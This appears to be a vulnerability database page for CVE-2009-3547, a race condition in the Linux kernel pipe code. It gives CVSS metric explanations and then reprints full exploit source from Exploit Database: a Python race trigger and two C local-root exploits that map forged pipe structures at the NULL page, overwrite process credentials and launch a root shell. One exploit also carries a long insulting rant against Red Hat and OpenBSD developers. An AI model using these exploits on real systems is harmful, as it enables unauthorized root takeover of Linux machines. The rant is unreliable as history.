CVE-2009-3547 : Detail

CVE-2009-3547

7
/
HIGH
Memory Corruption
0.04%V3
Local
2009-11-04 14:00 +00:00
2018-10-10 16:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
CWE-476 NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
CWE-672 Operation on a Resource after Expiration or Release
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9844

Publication date : 2009-11-04 23:00 +00:00
Author : Matthew Bergin
EDB Verified : Yes

# This is a PoC based off the PoC release by Earl Chew (Updated by Brian Peters) # Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability # PoC by Matthew Bergin # Bugtraq ID: 36901 # # E-DB Note: Exploit Update v2 ~ https://github.com/offensive-security/exploitdb/pull/82/files import os import time import random import subprocess #infinite loop i = 0 x = 0 while (i == 0): os.system("sleep 1") while (x == 0): time.sleep(random.random()) #random int 0.0-1.0 p = subprocess.Popen(["ps -elf | grep 'sleep 1' | grep -v 'grep' | awk '{print $4}'"], stdout=subprocess.PIPE, shell=True) result = p.stdout.read() pid = result.replace('\n', '').replace('\r', '') if (pid == "0"): #need an active pid, race condition applies print "[+] Didnt grab PID, got: " + pid + " -- Retrying..." break else: print "[+] PID: " + pid loc = "echo n > /proc/" + pid + "/fd/1" os.system(loc) # triggers the fault, runs via sh
Exploit Database EDB-ID : 33321

Publication date : 2009-11-02 23:00 +00:00
Author : teach & xipe
EDB Verified : Yes

/* EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/33322/ source: https://www.securityfocus.com/bid/36901/info Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference. Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. */ /****************************************************************************** * .:: Impel Down ::. * * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86) * by teach & xipe * Greetz goes to all our mates from #nibbles, #oldschool and #carib0u * (hehe guyz, we would probably be high profile and mediatised el8 if we * lost less time on trolling all day long, but we LOVE IT :))) * Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i * promise ivan, one day i'll kill u :p) * * (C) COPYRIGHT teach & xipe, 2009 * All Rights Reserved * * teach@vxhell.org * xipe@vxhell.org * *******************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */ // didn't really care about this. i mixed 2.6.0 to 2.6.31 :) #define PIPE_BUFFERS (16) struct __wait_queue_head { int spinlock; void *next, *prev; // struct list_head }; struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31 int magic; int fa_fd; struct fasync_struct *fa_next; void *file; // struct file }; // this iz the w00t about 2.6.11 to 2.6.31 struct pipe_buf_operations { int suce; int *fptr[6]; }; // from 2.6.0 to 2.6.10 struct pipe_inode_info_2600_10 { struct __wait_queue_head wait; char *base; // !!!!! unsigned int len; // !!! unsigned int start; // !!! unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; }; // from 2.6.11 to 2.6.16 struct pipe_buffer_2611_16 { void *suce; unsigned int offset, len; struct pipe_buf_operations *ops; }; struct pipe_inode_info_2611_16 { struct __wait_queue_head wait; unsigned int nrbufs, curbuf; struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS]; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; }; // from 2.6.17 to 2.6.19 struct pipe_buffer_2617_19 { void *suce; unsigned int offset, len; struct pipe_buf_operations *ops; unsigned int tapz; }; struct pipe_inode_info_2617_19 { struct __wait_queue_head wait; unsigned int nrbufs, curbuf; struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS]; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; void *suce; }; // from 2.6.20 to 2.6.22 struct pipe_buffer_2620_22 { void *suce; unsigned int offset, len; struct pipe_buf_operations *ops; unsigned int tapz; }; struct pipe_inode_info_2620_22 { struct __wait_queue_head wait; unsigned int nrbufs, curbuf; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; void *suce; struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS]; }; // AND FINALY from 2.6.23 to 2.6.31 ... :)) struct pipe_buffer_2623_31 { void *suce; unsigned int offset, len; struct pipe_buf_operations *ops; unsigned int tapz; unsigned long tg; }; struct pipe_inode_info_2623_31 { struct __wait_queue_head wait; unsigned int nrbufs, curbuf; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; void *suce; struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS]; }; static pid_t uid; static gid_t gid; static int iz_kern2600_10; unsigned long taskstruct[1024]; void gomu_gomu_nooooo_gatling_shell(void); int get_kern_version(void); void map_struct_at_null(void); void get_cur_task_and_escalate_priv(void); void* get_null_page(void); void error(char *s); int is_done(int new); static inline void *get_4kstack_top() { void *stack; __asm__ __volatile__ ( "movl $0xfffff000,%%eax ;" "andl %%esp, %%eax ;" "movl %%eax, %0 ;" : "=r" (stack) ); return stack; } static inline void *get_8kstack_top() { void *stack; __asm__ __volatile__ ( "movl $0xffffe000,%%eax ;" "andl %%esp, %%eax ;" "movl %%eax, %0 ;" : "=r" (stack) ); return stack; } static inline void *get_current() { void *cur = *(void **)get_4kstack_top(); if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) ) return cur; else cur = *(void **)get_8kstack_top(); return cur; } void map_struct_at_null() { struct pipe_inode_info_2600_10 *pipe2600_10; struct pipe_inode_info_2611_16 *pipe2611_16; struct pipe_inode_info_2617_19 *pipe2617_19; struct pipe_inode_info_2620_22 *pipe2620_22; struct pipe_inode_info_2623_31 *pipe2623_31; struct pipe_buf_operations luffy; FILE *f; unsigned int *sct_addr; unsigned int sc_addr; char dummy; char sname[256], pipebuf[10]; int ret, i; void *page; page = get_null_page(); int version = get_kern_version(); luffy.suce = 1; for(i = 0; i < 6; i++) luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv; // ok lets go ... if(version >= 2600 && version <= 2610) { iz_kern2600_10 = 1; /* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname * i don't bother to restore it after owning the kernel. implement it if u want :p */ // hehe as u see, his imperial majesty spender haz alwayz good trickz f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!"); } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp("sys_call_table", sname)) { printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr); fclose(f); } } if(f != NULL) { fclose(f); error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!"); } sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int)); pipe2600_10 = (struct pipe_inode_info_2600_10 *) page; memcpy(pipebuf, (char *) &sc_addr, sizeof(int)); pipe2600_10->base = pipebuf; pipe2600_10->len = 0; pipe2600_10->start = 0; pipe2600_10->writers = 1; printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n"); } else if(version >= 2611 && version <= 2616) { pipe2611_16 = (struct pipe_inode_info_2611_16 *) page; pipe2611_16->writers = 1; pipe2611_16->nrbufs = 1; for(i = 0; i < PIPE_BUFFERS; i++) pipe2611_16->bufs[i].ops = &luffy; printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n"); } else if(version >= 2617 && version <= 2619) { pipe2617_19 = (struct pipe_inode_info_2617_19 *) page; pipe2617_19->readers = 1; pipe2617_19->nrbufs = 1; for(i = 0; i < PIPE_BUFFERS; i++) pipe2617_19->bufs[i].ops = &luffy; pipe2617_19->wait.next = &pipe2617_19->wait.next; pipe2617_19->wait.spinlock = 1; printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n"); } else if(version >= 2620 && version <= 2622) { pipe2620_22 = (struct pipe_inode_info_2620_22 *) page; pipe2620_22->readers = 1; pipe2620_22->nrbufs = 1; for(i = 0; i < PIPE_BUFFERS; i++) pipe2620_22->bufs[i].ops = &luffy; pipe2620_22->wait.next = &pipe2620_22->wait.next; pipe2620_22->wait.spinlock = 1; printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n"); } else if(version >= 2623 && version <= 2631) { pipe2623_31 = (struct pipe_inode_info_2623_31 *) page; pipe2623_31->readers = 0; pipe2623_31->nrbufs = 0; for(i = 0; i < PIPE_BUFFERS; i++) pipe2623_31->bufs[i].ops = &luffy; pipe2623_31->wait.next = &pipe2623_31->wait.next; pipe2623_31->wait.spinlock = 1; printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n"); } else error("errrr! exploit not developped for ur kernel!"); } int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ... { struct utsname buf; char second[2],third[3]; int version = 2000; if(uname(&buf) < 0) error("can't have ur k3rn3l version. this box isn't for today :P\n"); sprintf(second, "%c", buf.release[2]); second[1] = 0; version += atoi(second) * 100; third[0] = buf.release[4]; if(buf.release[5] >= '0' || buf.release[5] <= '9') { third[1] = buf.release[5]; third[2] = 0; version += atoi(third); } else { third[1] = 0; version += third[0] - '0'; } printf("\t\t+ Kernel version %i\n", version); return version; } // from our g0dz spender & julien :] lullz void* get_null_page(void) { void *page; if ((personality(0xffffffff)) != PER_SVR4) { page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (page != NULL) { page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (page != NULL) { error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*"); } } else { if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { free(page); error("HELL! can't mprotect my null page !@#*. goto /dev/null !"); } } } else { // may be we are lucky today ... :) page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (page != NULL) { page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (page != NULL) { error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*"); } } else { if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :( { free(page); error("HELL! can't mprotect my null page !@#*. goto /dev/null !"); } } } printf("\t\t+ Got null page\n"); return page; } void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :)) { char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL }; char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", argv, envp); error("hheeeehhh! unable to spawn a sh"); } int is_done(int new) { static int done = 0; if (done == 1) return (1); done = new; } volatile int done = 0; void get_cur_task_and_escalate_priv() { uint32_t i; uint32_t *task = get_current(); uint32_t *cred = 0; for(i=0; i<0x1000; i++) { if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3])) { task[i] = 0; task[i+1] = 0; task[i+2] = 0; task[i+3] = 0; is_done(1); return; } } for (i = 0; i<1024; i++) { taskstruct[i] = task[i]; cred = (uint32_t *)task[i]; if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) { cred++; /* Get ride of the cred's 'usage' field */ if (cred[0] == uid && cred[1] == gid && cred[2] == uid && cred[3] == gid && cred[4] == uid && cred[5] == gid && cred[6] == uid && cred[7] == gid) { /* Get root */ cred[0] = cred[2] = cred[4] = cred[6] = 0; cred[1] = cred[3] = cred[5] = cred[7] = 0; break; } } } is_done(1); } int main(int ac, char **av) { int fd[2]; int pid; char tapz[4]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); map_struct_at_null(); //while (1) { pid = fork(); if (pid == -1) { perror("fork"); return (-1); } if (pid) { char path[1024]; /* I assume next opened fd will be 4 */ sprintf(path, "/proc/%d/fd/4", pid); while (!is_done(0)) { fd[0] = open(path, O_RDWR); if (fd[0] != -1) { if(iz_kern2600_10) { memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int)); write(fd[0], tapz, 4); } close(fd[0]); } } if(iz_kern2600_10) { syscall(__NR_olduname, NULL); } printf("\t\t+ Got root!\n"); gomu_gomu_nooooo_gatling_shell(); return (0); } while (!is_done(0)) { if (pipe(fd) != -1) { close(fd[0]); close(fd[1]); } } } }
Exploit Database EDB-ID : 40812

Publication date : 2013-12-15 23:00 +00:00
Author : spender
EDB Verified : No

/* exp_moosecox.c Watch a video of the exploit here: http://www.youtube.com/watch?v=jt81NvaOj5Y developed entirely by Ingo Molnar (exploit writer extraordinaire!) , thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :) dedicated to the Red Hat employees who get paid to copy+paste my twitter and issue security advisories, their sweet acknowledgement policy, and general classiness see: https://bugzilla.redhat.com/show_activity.cgi?id=530490 "policy" aside, there's a word for what you guys are doing: "plagiarism" in fact, i tested this one day by posting three links to twitter, without any discussion on any of them. the same day, those three (and only those three) links were assigned CVEs, even though two of them weren't even security bugs (it doesn't pay to copy+paste) official Ingo Molnar (that's me) policy for acknowledgement in exploits requires general douche-ness or plagiarization official policy further dictates immediate exploit release for embargoed, patched bug I'll be curious to see what the CVE statistics are like for the kernel this year when they get compiled next year -- I'm predicting that when someone's watching the sleepy watchers, a more personal interest is taken in doing the job that you're paid to do correctly. -------------------------------------------------------------------- Special PS note to Theo (I can do this here because I know he'll never read it -- the guy is apparently oblivious to the entire world of security around him -- the same world that invents the protections years before him that he pats himself on the back for "innovating") Seriously though, it's incredible to me that an entire team of developers whose sole purpose is to develop a secure operating system can be so oblivious to the rest of the world. They haven't innovated since they replaced exploitable string copies with exploitable string truncations 6 or so years ago. The entire joke of a thread can be read here: http://www.pubbs.net/openbsd/200911/4582/ "Our focus therefore is always on finding innovative ideas which make bugs very hard to exploit succesfully." "He's too busy watching monkey porn instead of building researching last-year's security technology that will stop an exploit technique that has been exploited multiple times." "it seems that everyone else is slowly coming around to the same solution." So let's talk about this "innovation" of theirs with their implementation of mmap_min_addr: They implemented it in 2008, a year after Linux implemented it, a year after the public phrack article on the bug class, more than a year after my mail to dailydave with the first public Linux kernel exploit for the bug class, and over two years after UDEREF was implemented in PaX (providing complete protection against the smaller subset of null ptr dereference bugs and the larger class of invalid userland access in general). OpenBSD had a public null pointer dereference exploit (agp_ioctl()) published for its OS in January of 2007. It took them over a year and a half to implement the same feature that was implemented in Linux a few months after my public exploit in 2007. So how can it be that "everyone else is slowly coming around to the same solution" when "everyone else" came to that solution over a year before you Theo? In fact, I prediced this exact situation would happen back in 2007 in my DD post: http://lists.virus.org/dailydave-0703/msg00011.html "Expect OpenBSD to independently invent a protection against null ptr deref bugs sometime in 2009." Let's talk about some more "innovation" -- position independent executables. PaX implemented position independent executables on Linux back in 2001 (ET_DYN). PIE binary support was added to GNU binutils in 2003. Those OpenBSD innovators implemented PIE binaries in 2008, 7 years after PaX. Innovation indeed! How about their W^X/ASLR innovation? These plagiarists have the audacity to announce on their press page: http://www.openbsd.org/press.html "Microsoft borrows one of OpenBSD's security features for Vista, stack/library randomization, under the name Address Space Layout Randomization (ASLR). "Until now, the feature has been most prominently used in the OpenBSD Unix variant and the PaX and Exec Shield security patches for Linux"" Borrowing one of your features? Where'd this ASLR acronym come from anyway? Oh that's right, PaX again -- when they published the first design and implementation of it, and coined the term, in July 2001. It covered the heap, mmap, and stack areas. OpenBSD implemented "stack-gap randomization" in 2003. Way to innovate! W^X, which is a horrible name as OpenBSD doesn't even enforce it with mprotect restrictions like PaX did from the beginning or even SELinux is doing now (from a 3rd party contribution modeled after PaX): PaX implemented true per-page non-executable page support, protecting binary data, the heap, and the stack, back in 2000. OpenBSD implemented it in 2003, requiring a full userland rebuild. The innovation is overwhelming! They keep coming up with the same exact "innovations" others came up with years before them. Their official explanation for where they got the W^X/ASLR ideas was a drunk guy came into their tent at one of their hack-a-thons and started talking about the idea. They had never heard of PaX when we asked them in 2003. Which makes the following involuntarily contributed private ICB logs from Phrack #66 (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing: On some sunny day in July 2002 (t: Theo de Raadt): why can't you just randomize the base that's what PaX does You've not been paying attention to what art's saying, or you don't understand yet, either case is one of think it through yourself. whatever Only to see poetic justice in August 2003 (ttt: Theo again): more exactly, we heard of pax when they started bitching miod, that was very well spoken. That wraps up our OpenBSD history lesson, in case anyone forgot it. PS -- enjoy that null ptr deref exploit just released for OpenBSD. -------------------------------------------------------------------- Important final exploit notes: don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK, or DEBUG_SPINLOCK are enabled and modify the structures below accordingly -- a fancier exploit would do this automatically I've broken the 2.4->2.6.10 version of the exploit and would like to see someone fix it ;) See below for more comments on this. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "exp_framework.h" int pipefd[2]; struct exploit_state *exp_state; int is_old_kernel = 0; int go_go_speed_racer(void *unused) { int ret; while(!exp_state->got_ring0) { /* bust spinlock */ *(unsigned int *)NULL = is_old_kernel ? 0 : 1; ret = pipe(pipefd); if (!ret) { close(pipefd[0]); close(pipefd[1]); } } return 0; } /* <3 twiz/sgrakkyu */ int start_thread(int (*f)(void *), void *arg) { char *stack = malloc(0x4000); int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); if (tid < 0) { printf("can't create thread\n"); exit(1); } sleep(1); return tid; } char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root"; char *cve = "CVE-2009-3547"; #define PIPE_BUFFERS 16 /* this changes on older kernels, but it doesn't matter to our method */ struct pipe_buf_operations { int can_merge; void *map; void *unmap; void *confirm; void *release; void *steal; void *get; }; struct pipe_buffer2620ornewer { void *page; unsigned int offset, len; void *ops; unsigned int flags; unsigned long private; }; struct pipe_buffer2619orolder { void *page; unsigned int offset, len; void *ops; unsigned int flags; }; struct pipe_buffer2616orolder { void *page; unsigned int offset, len; void *ops; }; struct pipe_inode_info2620ornewer { unsigned int spinlock; /* // LOCKBREAK unsigned int break_lock; // DEBUG_SPINLOCK unsigned int magic, owner_cpu; void *owner; */ void *next, *prev; unsigned int nrbufs, curbuf; void *tmp_page; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; void *inode; struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS]; }; struct pipe_inode_info2619orolder { unsigned int spinlock; /* // if PREEMPT enabled unsigned int break_lock; // DEBUG_SPINLOCK unsigned int magic, owner_cpu; void *owner; */ void *next, *prev; unsigned int nrbufs, curbuf; struct pipe_buffer2619orolder bufs[PIPE_BUFFERS]; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; void *inode; }; struct pipe_inode_info2616orolder { unsigned int spinlock; /* // if PREEMPT enabled unsigned int break_lock; // DEBUG_SPINLOCK unsigned int magic, owner_cpu; */ void *owner; void *next, *prev; unsigned int nrbufs, curbuf; struct pipe_buffer2616orolder bufs[PIPE_BUFFERS]; void *tmp_page; unsigned int start; unsigned int readers; unsigned int writers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; void *fasync_readers; void *fasync_writers; }; struct fasync_struct { int magic; int fa_fd; struct fasync_struct *fa_next; void *file; }; struct pipe_inode_info2610orolder { /* this includes 2.4 kernels */ unsigned long lock; // can be rw or spin void *next, *prev; char *base; unsigned int len; unsigned int start; unsigned int readers; unsigned int writers; /* 2.4 only */ unsigned int waiting_readers; unsigned int waiting_writers; unsigned int r_counter; unsigned int w_counter; /* 2.6 only */ struct fasync_struct *fasync_readers; struct fasync_struct *fasync_writers; }; int prepare(unsigned char *buf) { struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf; struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf; struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf; struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf; struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800; int i; int newver; struct utsname unm; i = uname(&unm); if (i != 0) { printf("unable to get kernel version\n"); exit(1); } if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') { fprintf(stdout, " [+] Using newer pipe_inode_info layout\n"); newver = 3; } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') { fprintf(stdout, " [+] Using older pipe_inode_info layout\n"); newver = 2; } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') { fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n"); newver = 1; // } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') { // is_old_kernel = 1; // newver = 0; } else { fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n"); exit(1); } /* for most of these what will happen is our write will cause ops->confirm(/pin) to be called, which we've replaced with own_the_kernel for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets called instead (repeatedly) is the release op */ if (newver == 3) { /* uncomment for DEBUG_SPINLOCK */ //info_new->magic = 0xdead4ead; /* makes list_head empty for wake_up_common */ info_new->next = &info_new->next; info_new->readers = 1; info_new->writers = 1; info_new->nrbufs = 1; info_new->curbuf = 1; for (i = 0; i < PIPE_BUFFERS; i++) info_new->bufs[i].ops = (void *)ops; } else if (newver == 2) { /* uncomment for DEBUG_SPINLOCK */ //info_old->magic = 0xdead4ead; /* makes list_head empty for wake_up_common */ info_old->next = &info_old->next; info_old->readers = 1; info_old->writers = 1; info_old->nrbufs = 1; info_old->curbuf = 1; for (i = 0; i < PIPE_BUFFERS; i++) info_old->bufs[i].ops = (void *)ops; } else if (newver == 1) { /* uncomment for DEBUG_SPINLOCK */ //info_older->magic = 0xdead4ead; /* makes list_head empty for wake_up_common */ info_older->next = &info_older->next; info_older->readers = 1; info_older->writers = 1; info_older->nrbufs = 1; info_older->curbuf = 1; /* we'll get called multiple times from free_pipe_info but it's ok because own_the_kernel handles this case */ for (i = 0; i < PIPE_BUFFERS; i++) info_older->bufs[i].ops = (void *)ops; } else { /* different ballgame here, instead of being able to provide a function pointer in the ops table, you control a base address used to compute the address for a copy into the kernel via copy_from_user. The following should get you started. */ /* lookup symbol for writable fptr then trigger it later change the main write in the one thread to write out pointers with the value of exp_state->exploit_kernel */ info_oldest->base = (char *)0xc8000000; info_oldest->readers = 1; info_oldest->writers = 1; return 0; } ops->can_merge = 1; for (i = 0; i < 16; i++) ((void **)&ops->map)[i] = exp_state->own_the_kernel; return 0; } int requires_null_page = 1; int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; } int trigger(void) { char buf[128]; int fd; int i = 0; /* ignore sigpipe so we don't bail out early */ signal(SIGPIPE, SIG_IGN); start_thread(go_go_speed_racer, NULL); fprintf(stdout, " [+] We'll let this go for a while if needed...\n"); fflush(stdout); while (!exp_state->got_ring0 && i < 10000000) { fd = pipefd[1]; sprintf(buf, "/proc/self/fd/%d", fd); fd = open(buf, O_WRONLY | O_NONBLOCK); if (fd >= 0) { /* bust spinlock */ *(unsigned int *)NULL = is_old_kernel ? 0 : 1; write(fd, ".", 1); close(fd); } i++; } if (!exp_state->got_ring0) { fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n"); return 0; } return 1; } int post(void) { // return RUN_ROOTSHELL; return FUNNY_PIC_AND_ROOTSHELL; }
Exploit Database EDB-ID : 10018

Publication date : 2009-11-11 23:00 +00:00
Author : Earl Chew
EDB Verified : Yes

